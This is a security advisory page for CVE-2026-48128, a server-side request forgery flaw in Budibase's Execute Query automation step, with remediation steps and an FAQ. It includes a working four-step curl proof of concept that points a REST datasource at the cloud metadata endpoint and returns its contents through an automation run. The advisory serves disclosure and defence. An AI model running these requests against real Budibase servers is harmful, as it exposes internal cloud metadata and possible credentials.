CVE-2026-48128: Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step

Published May 27, 2026
·
Updated

Summary

The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.

Details

Inside the execute query automation step, the queryId value and any additional query parameters from inputs.query are assembled into a request context and forwarded to queryController.executeV2AsAutomation. The constructed context looks like the following:

typescript const ctx: any = buildCtx(appId, emitter, { body: { parameters: rest, }, params: { queryId, }, user: context.user, })

No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The context.user value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.

To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.

The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.

PoC

bash curl -s -X POST "$BUDIBASEHOST/api/datasources" \ -H "Cookie: $SESSIONCOOKIE" \ -H "Content-Type: application/json" \ -d '{ "datasource": { "name": "internal-meta", "type": "REST", "source": "REST", "config": { "url": "http://169.254.169.254", "rejectUnauthorized": false, "defaultHeaders": {} } } }'

curl -s -X POST "$BUDIBASEHOST/api/queries" \ -H "Cookie: $SESSIONCOOKIE" \ -H "Content-Type: application/json" \ -d "{ \"datasourceId\": \"$DATASOURCEID\", \"name\": \"meta-probe\", \"queryVerb\": \"read\", \"fields\": { \"path\": \"/latest/meta-data/\", \"queryString\": \"\", \"headers\": {}, \"requestBody\": \"\" }, \"parameters\": [], \"transformer\": \"return data\", \"schema\": {} }"

curl -s -X POST "$BUDIBASEHOST/api/automations" \ -H "Cookie: $SESSIONCOOKIE" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-test\", \"definition\": { \"trigger\": { \"event\": \"app:trigger\", \"stepId\": \"APP\", \"inputs\": {}, \"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}}, \"type\": \"TRIGGER\", \"id\": \"trigger1\" }, \"steps\": [ { \"stepId\": \"EXECUTEQUERY\", \"inputs\": { \"query\": { \"queryId\": \"$QUERYID\" } }, \"schema\": {}, \"type\": \"ACTION\", \"id\": \"step1\" } ] } }"

curl -s -X POST "$BUDIBASEHOST/api/automations/$AUTOMATIONID/trigger" \ -H "Cookie: $SESSIONCOOKIE" \ -H "Content-Type: application/json" \ -d '{}'

Impact

An authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.

Other sources

Budibase is an open-source low-code platform. Prior to 3.39.0, the executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data. This vulnerability is fixed in 3.39.0.

NVD

Affected Software

2 affected componentsFixes available
budibase Budibase<3.39.0
npm/budibase<3.39.0
3.39.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/budibase to a version that resolves this vulnerability.

    Fixed in 3.39.0
  2. Compensating control

    Restrict outbound HTTP requests from the Budibase server process to internal/metadata endpoints (e.g., 169.254.169.254 and other sensitive internal IPs) using network controls such as firewall rules, egress ACLs, or a proxy that enforces allowlists.

  3. Compensating control

    Limit assignment of the Builder role to fully trusted administrators and operators; avoid granting builder-level access to partially trusted users who could create REST datasources or queries.

Event History

May 27, 2026
CVE Published
via MITRE·05:01 PM
Data Sourced
via MITRE·05:01 PM
DescriptionWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Jun 12, 2026
Advisory Published
via GitHub·03:08 PM
Data Sourced
via GitHub·03:08 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-48128?

CVE-2026-48128 has a medium severity rating of 5.1.

2

How do I fix CVE-2026-48128?

To mitigate CVE-2026-48128, update Budibase to version 3.39.0 or later.

3

What type of vulnerability is CVE-2026-48128?

CVE-2026-48128 is classified as a Server-Side Request Forgery (SSRF) vulnerability.

4

What systems are affected by CVE-2026-48128?

CVE-2026-48128 affects versions of Budibase prior to 3.39.0.

5

What can an attacker achieve with CVE-2026-48128?

An attacker can exploit CVE-2026-48128 to send unauthorized requests to internal services via user-controlled queryId.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203